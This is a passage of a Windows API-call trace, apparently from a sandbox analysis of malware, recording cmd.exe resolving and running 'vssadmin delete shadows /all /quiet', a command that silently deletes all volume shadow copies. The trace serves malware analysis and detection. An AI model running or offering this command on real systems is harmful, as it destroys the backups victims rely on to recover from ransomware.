_String2="RENAME") returned 4 [0133.076] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0133.076] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0133.076] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0133.076] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0133.076] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0133.076] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0133.076] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0133.076] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0133.076] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0133.076] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0133.076] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0133.076] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0133.076] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0133.076] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0133.076] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0133.076] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0133.076] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0133.076] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0133.076] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0133.077] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0133.077] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0133.077] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0133.077] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0133.077] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0133.077] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0133.077] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0133.077] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0133.077] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0133.077] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0133.077] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0133.077] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0133.077] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0133.077] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0133.077] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0133.077] _wcsicmp (_String1="vssadmin", _String2="FOR") returned 16 [0133.077] _wcsicmp (_String1="vssadmin", _String2="IF") returned 13 [0133.077] _wcsicmp (_String1="vssadmin", _String2="REM") returned 4 [0133.077] ??_V@YAXPEAX@Z () returned 0x1 [0133.077] GetProcessHeap () returned 0x218d4280000 [0133.077] RtlAllocateHeap (HeapHandle=0x218d4280000, Flags=0x8, Size=0xffde) returned 0x218d4288e90 [0133.078] GetProcessHeap () returned 0x218d4280000 [0133.078] RtlAllocateHeap (HeapHandle=0x218d4280000, Flags=0x8, Size=0x5a) returned 0x218d42992b0 [0133.078] _wcsnicmp (_String1="vssa", _String2="cmd ", _MaxCount=0x4) returned 19 [0133.078] malloc (_Size=0xffce) returned 0x218d44b0820 [0133.078] ??_V@YAXPEAX@Z () returned 0x218d44b0820 [0133.078] GetProcessHeap () returned 0x218d4280000 [0133.078] RtlAllocateHeap (HeapHandle=0x218d4280000, Flags=0x8, Size=0x1ffac) returned 0x218d429c1e0 [0133.079] SetErrorMode (uMode=0x0) returned 0x0 [0133.079] SetErrorMode (uMode=0x1) returned 0x0 [0133.079] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x218d429c1f0, lpFilePart=0x1ed00ff050 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x1ed00ff050*="system32") returned 0x13 [0133.079] SetErrorMode (uMode=0x0) returned 0x1 [0133.079] GetProcessHeap () returned 0x218d4280000 [0133.079] RtlReAllocateHeap (Heap=0x218d4280000, Flags=0x0, Ptr=0x218d429c1e0, Size=0x4a) returned 0x218d429c1e0 [0133.079] GetProcessHeap () returned 0x218d4280000 [0133.079] RtlSizeHeap (HeapHandle=0x218d4280000, Flags=0x0, MemoryPointer=0x218d429c1e0) returned 0x4a [0133.079] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff7d4abbb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps;") returned 0xbc [0133.079] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0133.079] GetProcessHeap () returned 0x218d4280000 [0133.079] RtlAllocateHeap (HeapHandle=0x218d4280000, Flags=0x8, Size=0x1b6) returned 0x218d4298e80 [0133.079] GetProcessHeap () returned 0x218d4280000 [0133.079] RtlAllocateHeap (HeapHandle=0x218d4280000, Flags=0x8, Size=0x35c) returned 0x218d4299b70 [0133.079] GetProcessHeap () returned 0x218d4280000 [0133.079] RtlReAllocateHeap (Heap=0x218d4280000, Flags=0x0, Ptr=0x218d4299b70, Size=0x1b8) returned 0x218d4299b70 [0133.079] GetProcessHeap () returned 0x218d4280000 [0133.079] RtlSizeHeap (HeapHandle=0x218d4280000, Flags=0x0, MemoryPointer=0x218d4299b70) returned 0x1b8 [0133.079] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff7d4abbb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0133.079] GetProcessHeap () returned 0x218d4280000 [0133.079] RtlAllocateHeap (HeapHandle=0x218d4280000, Flags=0x8, Size=0xe8) returned 0x218d4299040 [0133.080] GetProcessHeap () returned 0x218d4280000 [0133.080] RtlReAllocateHeap (Heap=0x218d4280000, Flags=0x0, Ptr=0x218d4299040, Size=0x7e) returned 0x218d4299040 [0133.080] GetProcessHeap () returned 0x218d4280000 [0133.080] RtlSizeHeap (HeapHandle=0x218d4280000, Flags=0x0, MemoryPointer=0x218d4299040) returned 0x7e [0133.080] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0133.080] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x1ed00fedc0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ed00fedc0) returned 0x218d42990d0 [0133.080] FindClose (in: hFindFile=0x218d42990d0 | out: hFindFile=0x218d42990d0) returned 1 [0133.080] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0x1ed00fedc0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ed00fedc0) returned 0xffffffffffffffff [0133.080] GetLastError () returned 0x2 [0133.080] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0x1ed00fedc0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1ed00fedc0) returned 0x218d42990d0 [0133.080] FindClose (in: hFindFile=0x218d42990d0 | out: hFindFile=0x218d42990d0) returned 1 [0133.080] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0133.081] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0133.081] ??_V@YAXPEAX@Z () returned 0x1 [0133.081] GetConsoleTitleW (in: lpConsoleTitle=0x1ed00ff340, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0133.274] GetProcessHeap () returned 0x218d4280000 [0133.274] RtlAllocateHeap (HeapHandle=0x218d4280000, Flags=0x8, Size=0x21c) returned 0x218d42877c0 [0133.274] GetConsoleTitleW (in: lpConsoleTitle=0x218d42877d0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0133.616] GetProcessHeap () returned 0x218d4280000 [0133.616] RtlReAllocateHeap (Heap=0x218d4280000, Flags=0x0, Ptr=0x218d42877c0, Size=0xa4) returned 0x218d42877c0 [0133.616] GetProcessHeap () returned 0x218d4280000 [0133.616] RtlSizeHeap (HeapHandle=0x218d4280000, Flags=0x0, MemoryPointer=0x218d42877c0) returned 0xa4 [0133.616] SetConsoleTitleW (lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe - vssadmin delete shadows /all /quiet") returned 1 [0133.621] GetProcessHeap () returned 0x218d4280000 [0133.621] RtlFreeHeap (HeapHandle=0x218d4280000, Flags=0x0, BaseAddress=0x218d42877c0) returned 1 [0133.621] InitializeProcThreadAttributeList (in: lpAttributeList=0x1ed00ff260, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1ed00ff150 | out: lpAttributeList=0x1ed00ff260, lpSize=0x1ed00ff150) returned 1 [0133.621] UpdateProcThreadAttribute (in: lpAttributeList=0x1ed00ff260, dwFlags=0x0, Attribute=0x60001, lpValue=0x1ed00ff13c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1ed00ff260, lpPreviousValue=0x0) returned 1 [0133.621] GetStartupInfoW (in: lpStartupInfo=0x1ed00ff1f0 | out: lpStartupInfo=0x1ed00ff1f0*(cb=0x68, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\WINDOWS\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x248, hStdOutput=0x254, hStdError=0x254)) [0133.621] GetProcessHeap () returned 0x218d4280000 [0133.621] RtlAllocateHeap (HeapHandle=0x218d4280000, Flags=0x8, Size=0x20) returned 0x218d4287610 [0133.621] _wcsnicmp (_String1="COPYCMD", _String2="=::=::\\", _MaxCount=0x7) returned 38 [0133.621] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0133.621] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0133.621] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0133.621] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0133.621] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0133.621] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0133.621] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0133.621] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0133.621] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0133.622] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0133.622] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0133.622] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0133.622] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0133.622] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0133.622] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0133.622] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0133.622] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0133.622] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0133.622] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0133.622] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0133.622] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0133.622] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0133.622] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0133.622] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0133.622] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0133.622] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0133.622] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0133.622] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0133.622] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0133.622] _wcsnicmp (_String1="COPYCMD", _String2="SESSION", _MaxCount=0x7) returned -16 [0133.622] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0133.622] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0133.622] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0133.622] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0133.622] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0133.622] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0133.622] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0133.622] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0133.623] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0133.623] GetProcessHeap () returned 0x218d4280000 [0133.623] RtlFreeHeap (HeapHandle=0x218d4280000, Flags=0x0, BaseAddress=0x218d4287610) returned 1 [0133.623] GetProcessHeap () returned 0x218d4280000 [0133.623] RtlAllocateHeap (HeapHandle=0x218d4280000, Flags=0x8, Size=0x12) returned 0x218d4287610 [0133.623] _get_osfhandle (_FileHandle=1) returned 0x254 [0133.623] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0 [0133.623] _get_osfhandle (_FileHandle=0) returned 0x248 [0133.623] SetConsoleMode (hConsoleHandle=0x248, dwMode=0x0) returned 0 [0133.623] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\vssadmin.exe", lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\WINDOWS\\system32", lpStartupInfo=0x1ed00ff180*(cb=0x70, lpReserved=0x0, lpDesktop="Winsta0\\Default", lpTitle="vssadmin delete shadows /all /quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1ed00ff158 | out: lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessInformation=0x1ed00ff158*(hProcess=0x94, hThread=0x98, dwProcessId=0xe90, dwThreadId=0xe94)) returned 1 [0134.859] CloseHandle (hObject=0x98) returned 1 [0134.859] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0134.859] GetProcessHeap () returned 0x218d4280000 [0134.859] RtlFreeHeap (HeapHandle=0x218d4280000, Flags=0x0, BaseAddress=0x218d429b6b0) returned 1 [0134.859] GetEnvironmentStringsW () returned 0x218d429ab80* [0134.859] GetProcessHeap () returned 0x218d4280000 [0134.859] RtlAllocateHeap (HeapHandle=0x218d4280000, Flags=0x8, Size=0xb24) returned 0x218d429b6b0 [0134.860] FreeEnvironmentStringsA (penv="=") returned 1 [0134.860] NtQueryInformationProcess (in: ProcessHandle=0x94, ProcessInformationClass=0x0, ProcessInformation=0x1ed00fe658, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x1ed00fe658, ReturnLength=0x0) returned 0x0 [0134.860] ReadProcessMemory (in: hProcess=0x94, lpBaseAddress=0xe3540d9000, lpBuffer=0x1ed00fe690, nSize=0x7a0, lpNumberOfBytesRead=0x1ed00fe650 | out: lpBuffer=0x1ed00fe690*, lpNumberOfBytesRead=0x1ed00fe650*=0x7a0) returned 1 [0134.860] WaitForSingleObject (hHandle=0x94, dwMilliseconds=0xffffffff) returned 0x0 [0141.549] GetExitCodeProcess (in: hProcess=0x94, lpExitCode=0x1ed00ff0d8 | out: lpExitCode=0x1ed00ff0d8*=0x2) returned 1 [0141.549] CloseHandle (hObject=0x94) returned 1 [0141.549] _vsnwprintf (in: _Buffer=0x1ed00ff2a8, _BufferCount=0x13, _Format="%08X", _ArgList=0x1ed00ff0e8 | out: _Buffer="00000002") returned 8 [0141.549] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000002") returned 1 [0141.549] GetProcessHeap () returned 0x218d4280000 [0141.549] RtlFreeHeap (HeapHandle=0x218d4280000, Flags=0x0, BaseAddress=0x218d429b6b0) returned 1 [0141.549] GetEnvironmentStringsW () returned 0x218d429ab80* [0141.549] GetProcessHeap () returned 0x218d4280000 [0141.549] RtlAllocateHeap (HeapHandle=0x218d4280000, Flags=0x8, Size=0xb24) returned 0x218d429b6b0 [0141.549] FreeEnvironmentStringsA (penv="=") returned 1 [0141.549] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0141.550] GetProcessHeap () returned 0x218d4280000 [0141.550] RtlFreeHeap (HeapHandle=0x218d4280000, Flags=0x0, BaseAddress=0x218d429b6b0) returned 1 [0141.550] GetEnvironmentStringsW () returned 0x218d429ab80* [0141.550] GetProcessHeap () returned 0x218d4280000 [0141.550] RtlAllocateHeap (HeapHandle=0x218d4280000, Flags=0x8, Size=0xb24) returned 0x218d429b6b0 [0141.550] FreeEnvironmentStringsA (penv="=") returned 1 [0141.550] GetProcessHeap () returned 0x218d4280000 [0141.550] RtlFreeHeap (HeapHandle=0x218d4280000, Flags=0x0, BaseAddress=0x218d4287610) returned 1 [0141.550] DeleteProcThreadAttributeList (in: lpAttributeList=0x1ed00ff260 | out: lpAttributeList=0x1ed00ff260) [0141.550] SetConsoleTitleW (lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 1 [0141.689] ??_V@YAXPEAX@Z () returned 0x1 [0141.689] _get_osfhandle (_FileHandle=1) returned 0x254 [0141.689] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0 [0141.689] _get_osfhandle (_FileHandle=1) returned 0x254 [0141.689] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff7d4abfc08 | out: lpMode=0x7ff7d4abfc08) returned 0 [0141.689] _get_osfhandle (_FileHandle=0) returned 0x248 [0141.689] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff7d4abfc0c | out: lpMode=0x7ff7d4abfc0c) returned 0 [0141.689] GetConsoleOutputCP () returned 0x4e3 [0141.713] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x7ff7d4abfbb0 | out: lpCPInfo=0x7ff7d4abfbb0) returned 1 [0141.713] SetThreadUILanguage (LangId=0x0) returned 0x409 [0142.008] GetProcessHeap () returned 0x218d4280000 [0142.008] RtlFreeHeap (HeapHandle=0x218d4280000, Flags=0x0, BaseAddress=0x218d4299040) returned 1 [0142.008] GetProcessHeap () returned 0x218d4280000 [0142.008] RtlFreeHeap (HeapHandle=0x218d4280000, Flags=0x0, BaseAddress=0x218d4299b70) returned 1 [0142.008] GetProcessHeap () returned 0x218d4280000 [0142.008] RtlFreeHeap (HeapHandle=0x218d4280000, Flags=0x0, BaseAddress=0x218d4298e80) returned 1 [0142.008] GetProcessHeap () returned 0x218d4280000 [0142.008] RtlFreeHeap (HeapHandle=0x218d4280000, Flags=0x0, BaseAddress=0x218d429c1e0) returned 1 [0142.008] GetProcessHeap () returned 0x218d4280000 [0142.008] RtlFreeHeap (HeapHandle=0x218d4280000, Flags=0x0, BaseAddress=0x218d42992b0) returned 1 [0142.008] GetProcessHeap () returned 0x218d4280000 [0142.008] RtlFreeHeap (HeapHandle=0x218d4280000, Flags=0x0, BaseAddress=0x218d4288e90) returned 1 [0142.008] GetProcessHeap () returned 0x218d4280000 [0142.008] RtlFreeHeap (HeapHandle=0x218d4280000, Flags=0x0, BaseAddress=0x218d4299260) returned 1 [0142.008] GetProcessHeap () returned 0x218d4280000 [0142.008] RtlFreeHeap (HeapHandle=0x218d4280000, Flags=0x0, BaseAddress=0x218d4286330) returned 1 [0142.008] GetProcessHeap () returned 0x218d4280000 [0142.008] RtlFreeHeap (HeapHandle=0x218d4280000, Flags=0x0, BaseAddress=0x218d42991a0) returned 1 [0142.008] _vsnwprintf (in: _Buffer=0x7ff7d4ac7f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1ed00ff688 | out: _Buffer="\r\n") returned 2 [0142.009] _get_osfhandle (_FileHandle=1) returned 0x254 [0142.009] GetFileType (hFile=0x254) returned 0x3 [0142.009] _get_osfhandle (_FileHandle=1) returned 0x254 [0142.009] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0142.009] WriteFile (in: hFile=0x254, lpBuffer=0x7ff7d4ab9970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1ed00ff658, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesWritten=0x1ed00ff658*=0x2, lpOverlapped=0x0) returned 1 [0142.009] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff7d4abbb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0142.009] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x218d4480080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0142.009] _vsnwprintf (in: _Buffer=0x218d4490060, _BufferCount=0x83e5, _Format="%s", _ArgList=0x1ed00ff698 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0142.009] _vsnwprintf (in: _Buffer=0x218d4490086, _BufferCount=0x83d2, _Format="%c", _ArgList=0x1ed00ff698 | out: _Buffer=">") returned 1 [0142.009] _get_osfhandle (_FileHandle=1) returned 0x254 [0142.009] GetFileType (hFile=0x254) returned 0x3 [0142.009] _get_osfhandle (_FileHandle=1) returned 0x254 [0142.009] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="C:\\WINDOWS\\system32>", cchWideChar=-1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\WINDOWS\\system32>", lpUsedDefaultChar=0x0) returned 21 [0142.009] WriteFile (in: hFile=0x254, lpBuffer=0x7ff7d4ab9970*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x1ed00ff688, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesWritten=0x1ed00ff688*=0x14, lpOverlapped=0x0) returned 1 [0142.009] _get_osfhandle (_FileHandle=0) returned 0x248 [0142.009] GetFileType (hFile=0x248) returned 0x3 [0142.009] _get_osfhandle (_FileHandle=0) returned 0x248 [0142.009] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.009] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ed00ff9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x1ed00ff9e8*=0x1, lpOverlapped=0x0) returned 1 [0142.009] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c30, cchWideChar=1 | out: lpWideCharStr="Essadmin delete shadows /all /quiet\n") returned 1 [0142.009] _get_osfhandle (_FileHandle=0) returned 0x248 [0142.009] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.010] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ed00ff9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x1ed00ff9e8*=0x1, lpOverlapped=0x0) returned 1 [0142.010] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c32, cchWideChar=1 | out: lpWideCharStr="xsadmin delete shadows /all /quiet\n") returned 1 [0142.010] _get_osfhandle (_FileHandle=0) returned 0x248 [0142.010] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.010] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ed00ff9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x1ed00ff9e8*=0x1, lpOverlapped=0x0) returned 1 [0142.010] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c34, cchWideChar=1 | out: lpWideCharStr="iadmin delete shadows /all /quiet\n") returned 1 [0142.010] _get_osfhandle (_FileHandle=0) returned 0x248 [0142.010] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.010] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ed00ff9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x1ed00ff9e8*=0x1, lpOverlapped=0x0) returned 1 [0142.010] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c36, cchWideChar=1 | out: lpWideCharStr="tdmin delete shadows /all /quiet\n") returned 1 [0142.010] _get_osfhandle (_FileHandle=0) returned 0x248 [0142.010] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.010] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ed00ff9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x1ed00ff9e8*=0x1, lpOverlapped=0x0) returned 1 [0142.010] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c38, cchWideChar=1 | out: lpWideCharStr="\nmin delete shadows /all /quiet\n") returned 1 [0142.010] _get_osfhandle (_FileHandle=0) returned 0x248 [0142.010] GetFileType (hFile=0x248) returned 0x3 [0142.010] _get_osfhandle (_FileHandle=0) returned 0x248 [0142.010] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.010] _get_osfhandle (_FileHandle=1) returned 0x254 [0142.010] GetFileType (hFile=0x254) returned 0x3 [0142.010] _get_osfhandle (_FileHandle=1) returned 0x254 [0142.010] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="Exit\n", cchWideChar=-1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Exit\n", lpUsedDefaultChar=0x0) returned 6 [0142.010] WriteFile (in: hFile=0x254, lpBuffer=0x7ff7d4ab9970*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x1ed00ff988, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, 